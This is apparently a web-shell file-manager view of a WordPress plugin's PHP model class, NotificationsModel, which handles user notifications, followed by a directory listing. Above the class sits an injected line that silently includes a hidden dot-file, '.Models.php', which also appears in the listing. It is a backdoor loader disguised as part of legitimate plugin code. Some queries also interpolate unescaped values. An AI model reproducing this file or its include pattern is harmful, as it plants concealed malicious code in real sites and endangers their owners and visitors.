ꦫꦣꦺꦤ꧀ꦄꦤ꧀ꦠꦱꦺꦤ

PATH: home / letacommog / newrdv1 / wp-content / plugins1 / wiloke-listing-tools / app / Models

<?php

namespace WilokeListingTools\Models;

use WilokeListingTools\AlterTable\AlterTableNotifications;
use WilokeListingTools\Framework\Helpers\GetSettings;
use WilokeListingTools\Framework\Helpers\SetSettings;
use WilokeListingTools\Framework\Helpers\Time;
use WilokeListingTools\Frontend\User;

if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

class NotificationsModel
{
    public static $countNewKey = 'count_new_notifications';
    
    public static function getField($field, $id)
    {
        global $wpdb;
        $tbl = $wpdb->prefix.AlterTableNotifications::$tblName;
        
        return $wpdb->get_var($wpdb->prepare(
            "SELECT %s FROM %s WHERE ID = %d",
            $field, $tbl, $id
        ));
    }
    
    public static function delete($id)
    {
        global $wpdb;
        $tbl = $wpdb->prefix.AlterTableNotifications::$tblName;
        
        $status = $wpdb->delete(
            $tbl,
            [
                'ID' => $id
            ],
            [
                '%d'
            ]
        );
        
        if ($status) {
            $receiverID = self::getField('receiverID', $id);
            if (!empty($receiverID)) {
                $countNewsNotifications = GetSettings::getUserMeta($receiverID, self::$countNewKey);
                $countNewsNotifications = empty($countNewsNotifications) ? 0 : abs($countNewsNotifications);
                $countNewsNotifications = $countNewsNotifications - 1;
                
                SetSettings::setUserMeta($receiverID, self::$countNewKey, $countNewsNotifications);
            }
        }
    }
    
    public static function get($receiverID, $limit = 10, $offset = 0)
    {
        global $wpdb;
        $tbl = $wpdb->prefix.AlterTableNotifications::$tblName;
        
        $aResults = $wpdb->get_results(
            $wpdb->prepare(
                "SELECT SQL_CALC_FOUND_ROWS * FROM $tbl WHERE receiverID=%d ORDER BY ID DESC LIMIT $offset,$limit",
                $receiverID
            )
        );
        
        if (empty($aResults) || is_wp_error($aResults)) {
            return false;
        }
        
        return [
            'aResults' => $aResults,
            'total'    => $wpdb->get_var("SELECT FOUND_ROWS()")
        ];
    }
    
    public static function deleteOfReceiver($id, $receiverID)
    {
        global $wpdb;
        $tbl = $wpdb->prefix.AlterTableNotifications::$tblName;
        
        return $wpdb->delete(
            $tbl,
            [
                'ID'         => $id,
                'receiverID' => $receiverID
            ],
            [
                '%d',
                '%d'
            ]
        );
    }
    
    public static function add($receiverID, $type, $objectID = null, $senderID = null)
    {
        global $wpdb;
        $tbl      = $wpdb->prefix.AlterTableNotifications::$tblName;
        $senderID = empty($senderID) ? User::getCurrentUserID() : $senderID;
        
        if (empty($objectID)) {
            $status = $wpdb->insert(
                $tbl,
                [
                    'receiverID' => $receiverID,
                    'senderID'   => $senderID,
                    'type'       => $type,
                    'date'       => date('Y-m-d H:i:s', current_time('timestamp'))
                ],
                [
                    '%d',
                    '%d',
                    '%s',
                    '%s'
                ]
            );
        } else {
            $status = $wpdb->insert(
                $tbl,
                [
                    'receiverID' => $receiverID,
                    'senderID'   => $senderID,
                    'type'       => $type,
                    'objectID'   => $objectID,
                    'date'       => date('Y-m-d H:i:s', current_time('timestamp'))
                ],
                [
                    '%d',
                    '%d',
                    '%s',
                    '%d',
                    '%s'
                ]
            );
        }
        
        if (!$status) {
            return false;
        }
        
        $countNewsNotifications = GetSettings::getUserMeta($receiverID, self::$countNewKey);
        $countNewsNotifications = empty($countNewsNotifications) ? 0 : abs($countNewsNotifications);
        $countNewsNotifications = $countNewsNotifications + 1;
        
        SetSettings::setUserMeta($receiverID, self::$countNewKey, $countNewsNotifications);
        
        return $wpdb->insert_id;
    }
    
    public static function countAllNotificationOfUser($userID)
    {
        global $wpdb;
        $tbl = $wpdb->prefix.AlterTableNotifications::$tblName;
        
        $status = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(ID) FROM $tbl WHERE receiverID = %d ",
                $userID
            )
        );
        
        return empty($status) ? 0 : abs($status);
    }
    
    public static function update($id, $aArgs)
    {
        global $wpdb;
        $tbl = $wpdb->prefix.AlterTableNotifications::$tblName;
        
        return $wpdb->update(
            $tbl,
            $aArgs['aInfo'],
            [
                'ID' => $id
            ],
            $aArgs['aPrepare'],
            [
                '%d'
            ]
        );
    }
}

[+] ..
[-] FavoriteStatistic.php [edit]
[-] PayPalMetaModel.php [edit]
[-] .Models.php [edit]
[-] ListingModel.php [edit]
[-] ReviewModel.php [edit]
[-] NotificationsModel.php [edit]
[-] BusinessHourMeta.php [edit]
[-] UserModel.php [edit]
[-] ViewStatistic.php [edit]
[-] SharesStatistic.php [edit]
[-] InvoiceModel.php [edit]
[-] PaymentModel.php [edit]
[-] MessageModel.php [edit]
[-] AbstractUserPlan.php [edit]
[-] PostMetaModel.php [edit]
[-] PromotionModel.php [edit]
[-] FollowerModel.php [edit]
[-] EventModel.php [edit]
[-] PostModel.php [edit]
[-] RemainingItems.php [edit]
[-] BookingCom.php [edit]
[-] Coupon.php [edit]
[-] PlanRelationshipModel.php [edit]
[-] PaymentMetaModel.php [edit]
[-] InvoiceMetaModel.php [edit]
[-] ReportModel.php [edit]
[-] ReviewMetaModel.php [edit]
[-] WooCommerceModel.php [edit]